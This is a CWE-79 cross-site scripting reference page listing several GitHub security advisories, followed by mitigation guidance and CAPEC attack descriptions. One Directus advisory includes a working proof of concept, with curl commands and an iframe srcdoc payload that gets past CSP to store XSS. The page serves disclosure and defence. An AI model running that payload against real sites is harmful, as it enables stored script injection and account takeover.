CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69907 vulnerabilities reference this CWE, most recent first.
GHSA-9QRJ-WW3W-JXGP
Vulnerability from github – Published: 2022-05-14 03:30 – Updated: 2022-05-14 03:30Tenable Appliance versions 4.6.1 and earlier have been found to contain a single XSS vulnerability. Utilizing a specially crafted request, an authenticated attacker could potentially execute arbitrary JavaScript code by manipulating certain URL parameters related to offline plugins.
{
"affected": [],
"aliases": [
"CVE-2018-1142"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-28T13:29:00Z",
"severity": "MODERATE"
},
"details": "Tenable Appliance versions 4.6.1 and earlier have been found to contain a single XSS vulnerability. Utilizing a specially crafted request, an authenticated attacker could potentially execute arbitrary JavaScript code by manipulating certain URL parameters related to offline plugins.",
"id": "GHSA-9qrj-ww3w-jxgp",
"modified": "2022-05-14T03:30:20Z",
"published": "2022-05-14T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1142"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2018-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QRM-48QF-R2RW
Vulnerability from github – Published: 2025-01-23 22:36 – Updated: 2026-08-14 19:11Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.
- Upload the following JavaScript file.
Using the upload functionality at POST /files. This PoC will show an alert message.
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="malicious@malicious.com"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"
curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
-c "${root_dir}/static/attacker_directus_session_token" \
-H 'Content-Type: application/json' \
-d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
id_url_file=$(echo "alert('Successful DOM-based XSS')" |
curl -s -k -X 'POST' "${TARGET_HOST}/files" \
-b "${root_dir}/static/attacker_directus_session_token" \
-F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
- Create a preset for a collection and store the preset ID.
Or use a preset already created from GET /presets. The following example uses the direct_users preset.
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.
Notes:
Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is <iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">.
We can target any collection that uses the vulnerable template structure that renders the layout option section.
In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6533"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-23T22:36:50Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X \u0027POST\u0027 \"${TARGET_HOST}/auth/login\" \\\n -c \"${root_dir}/static/attacker_directus_session_token\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert(\u0027Successful DOM-based XSS\u0027)\" |\n curl -s -k -X \u0027POST\u0027 \"${TARGET_HOST}/files\" \\\n -b \"${root_dir}/static/attacker_directus_session_token\" \\\n -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X \u0027POST\u0027 \"${TARGET_HOST}/presets\" \\ -H \u0027Content-Type: application/json\u0027 \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"\u003ciframe srcdoc=\\\\\\\"\u003cscript src=\u0027http://localhost:8055/assets/${id_url_file}\u0027\u003e \u003c/script\u003e\\\\\\\"\u003e\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `\u003ciframe srcdoc=\\\"\u003cscript src=\u0027URL_MALICIOUS_FILE\u0027\u003e \u003c/script\u003e\\\"\u003e`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.",
"id": "GHSA-9qrm-48qf-r2rw",
"modified": "2026-08-14T19:11:38Z",
"published": "2025-01-23T22:36:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directus has a DOM-Based cross-site scripting (XSS) via layout_options"
}
GHSA-9QV6-4PWM-M68F
Vulnerability from github – Published: 2025-06-13 14:51 – Updated: 2025-06-13 14:51Impact
This security advisory is a part of IBEXA-SA-2025-003, which resolves XSS vulnerabilities in several parts of the back office of Ibexa DXP. Back office access and varying levels of editing and management permissions are required to exploit these vulnerabilities. This typically means Editor or Administrator role, or similar. Injected XSS is persistent and can be reflected in the front office, possibly affecting end users. The fixes ensure XSS is escaped, and any existing injected XSS is rendered harmless.
Patches
- See "Patched versions".
- https://github.com/ibexa/fieldtype-richtext/commit/4a4a170c7faa4807ae0f74c581481b835bab3caf
Workarounds
None.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ibexa/fieldtype-richtext"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.0-beta1"
},
{
"fixed": "4.6.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-13T14:51:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nThis security advisory is a part of IBEXA-SA-2025-003, which resolves XSS vulnerabilities in several parts of the back office of Ibexa DXP. Back office access and varying levels of editing and management permissions are required to exploit these vulnerabilities. This typically means Editor or Administrator role, or similar. Injected XSS is persistent and can be reflected in the front office, possibly affecting end users. The fixes ensure XSS is escaped, and any existing injected XSS is rendered harmless.\n\n### Patches\n- See \"Patched versions\".\n- https://github.com/ibexa/fieldtype-richtext/commit/4a4a170c7faa4807ae0f74c581481b835bab3caf\n\n### Workarounds\nNone.",
"id": "GHSA-9qv6-4pwm-m68f",
"modified": "2025-06-13T14:51:12Z",
"published": "2025-06-13T14:51:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ibexa/fieldtype-richtext/security/advisories/GHSA-9qv6-4pwm-m68f"
},
{
"type": "WEB",
"url": "https://github.com/ibexa/fieldtype-richtext/commit/4a4a170c7faa4807ae0f74c581481b835bab3caf"
},
{
"type": "WEB",
"url": "https://developers.ibexa.co/security-advisories/ibexa-sa-2025-003-xss-vulnerabilities-in-back-office"
},
{
"type": "PACKAGE",
"url": "https://github.com/ibexa/fieldtype-richtext"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ibexa RichText Field Type XSS vulnerabilities in back office"
}
GHSA-9QVJ-FFH9-WPG4
Vulnerability from github – Published: 2024-05-16 21:32 – Updated: 2024-05-16 21:32The Elementor Header & Footer Builder for WordPress is vulnerable to HTML Injection in all versions up to, and including, 1.6.26 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level permissions and above, to inject arbitrary HTML in pages that will be shown whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-2619"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-16T21:16:08Z",
"severity": "MODERATE"
},
"details": "The Elementor Header \u0026 Footer Builder for WordPress is vulnerable to HTML Injection in all versions up to, and including, 1.6.26 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level permissions and above, to inject arbitrary HTML in pages that will be shown whenever a user accesses an injected page.",
"id": "GHSA-9qvj-ffh9-wpg4",
"modified": "2024-05-16T21:32:02Z",
"published": "2024-05-16T21:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2619"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/1.6.25/admin/class-hfe-admin.php#L220"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/1.6.25/admin/class-hfe-admin.php#L74"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3070659%40header-footer-elementor%2Ftrunk\u0026old=3053177%40header-footer-elementor%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/689eb95b-2f72-4aa4-9f21-6ae186346061?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QVM-7Q24-7MG9
Vulnerability from github – Published: 2023-10-18 12:30 – Updated: 2024-04-04 08:46Pega Platform versions 8.1 to 8.8.2 are affected by an XSS issue with Pin description
{
"affected": [],
"aliases": [
"CVE-2023-32089"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-18T12:15:09Z",
"severity": "MODERATE"
},
"details": "\nPega Platform versions 8.1 to 8.8.2 are affected by an XSS issue with Pin description\n\n\n\n\n\n",
"id": "GHSA-9qvm-7q24-7mg9",
"modified": "2024-04-04T08:46:03Z",
"published": "2023-10-18T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32089"
},
{
"type": "WEB",
"url": "https://support.pega.com/support-doc/pega-security-advisory-e23-vulnerability-remediation-note"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QVQ-VG28-XRQ7
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06The WP SVG images WordPress plugin before 3.4 did not sanitise the SVG files uploaded, which could allow low privilege users such as author+ to upload a malicious SVG and then perform XSS attacks by inducing another user to access the file directly. In v3.4, the plugin restricted such upload to editors and admin, with an option to also allow author to do so. The description of the plugin has also been updated with a security warning as upload of such content is intended.
{
"affected": [],
"aliases": [
"CVE-2021-24386"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-06T11:15:00Z",
"severity": "MODERATE"
},
"details": "The WP SVG images WordPress plugin before 3.4 did not sanitise the SVG files uploaded, which could allow low privilege users such as author+ to upload a malicious SVG and then perform XSS attacks by inducing another user to access the file directly. In v3.4, the plugin restricted such upload to editors and admin, with an option to also allow author to do so. The description of the plugin has also been updated with a security warning as upload of such content is intended.",
"id": "GHSA-9qvq-vg28-xrq7",
"modified": "2022-05-24T19:06:57Z",
"published": "2022-05-24T19:06:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24386"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/e9b48b19-14cc-41ad-a029-f7f9ae236e4e"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9QVR-7CX5-JPXC
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54Advantech WebAccess 8.3.2 and below is vulnerable to multiple reflected cross site scripting vulnerabilities. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim to supply malicious HTML or JavaScript code to WebAccess, which is then reflected back to the victim and executed by the web browser.
{
"affected": [],
"aliases": [
"CVE-2018-15703"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-22T19:29:00Z",
"severity": "MODERATE"
},
"details": "Advantech WebAccess 8.3.2 and below is vulnerable to multiple reflected cross site scripting vulnerabilities. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim to supply malicious HTML or JavaScript code to WebAccess, which is then reflected back to the victim and executed by the web browser.",
"id": "GHSA-9qvr-7cx5-jpxc",
"modified": "2022-05-14T01:54:08Z",
"published": "2022-05-14T01:54:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15703"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2018-33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QVX-98RW-G873
Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33RSA Identity Lifecycle and Governance versions 7.0.1, 7.0.2 and 7.1.0 contains a reflected cross-site scripting vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim application user to supply malicious HTML or JavaScript code to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.
{
"affected": [],
"aliases": [
"CVE-2018-1255"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-13T17:29:00Z",
"severity": "MODERATE"
},
"details": "RSA Identity Lifecycle and Governance versions 7.0.1, 7.0.2 and 7.1.0 contains a reflected cross-site scripting vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim application user to supply malicious HTML or JavaScript code to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.",
"id": "GHSA-9qvx-98rw-g873",
"modified": "2022-05-13T01:33:25Z",
"published": "2022-05-13T01:33:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1255"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Jul/46"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041287"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QW8-H8M7-F94Q
Vulnerability from github – Published: 2022-05-17 05:14 – Updated: 2022-05-17 05:14Multiple cross-site scripting (XSS) vulnerabilities in the ShareThis module 7.x-2.x before 7.x-2.5 for Drupal allow remote authenticated users with the "administer sharethis" permission to inject arbitrary web script or HTML via unspecified vectors related to "JavaScript settings."
{
"affected": [],
"aliases": [
"CVE-2012-5545"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-03T21:55:00Z",
"severity": "LOW"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in the ShareThis module 7.x-2.x before 7.x-2.5 for Drupal allow remote authenticated users with the \"administer sharethis\" permission to inject arbitrary web script or HTML via unspecified vectors related to \"JavaScript settings.\"",
"id": "GHSA-9qw8-h8m7-f94q",
"modified": "2022-05-17T05:14:52Z",
"published": "2022-05-17T05:14:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5545"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1808760"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1808856"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/11/20/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/55870"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9QW9-9M4P-H49W
Vulnerability from github – Published: 2023-06-23 21:30 – Updated: 2024-04-04 05:08POS Codekop v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the nm_member parameter at print.php.
{
"affected": [],
"aliases": [
"CVE-2023-36346"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-23T20:15:09Z",
"severity": "MODERATE"
},
"details": "POS Codekop v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the nm_member parameter at print.php.",
"id": "GHSA-9qw9-9m4p-h49w",
"modified": "2024-04-04T05:08:42Z",
"published": "2023-06-23T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36346"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=bbbA-q1syrA"
},
{
"type": "WEB",
"url": "https://yuyudhn.github.io/pos-codekop-vulnerability"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/173280/Sales-Of-Cashier-Goods-1.0-Cross-Site-Scripting.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.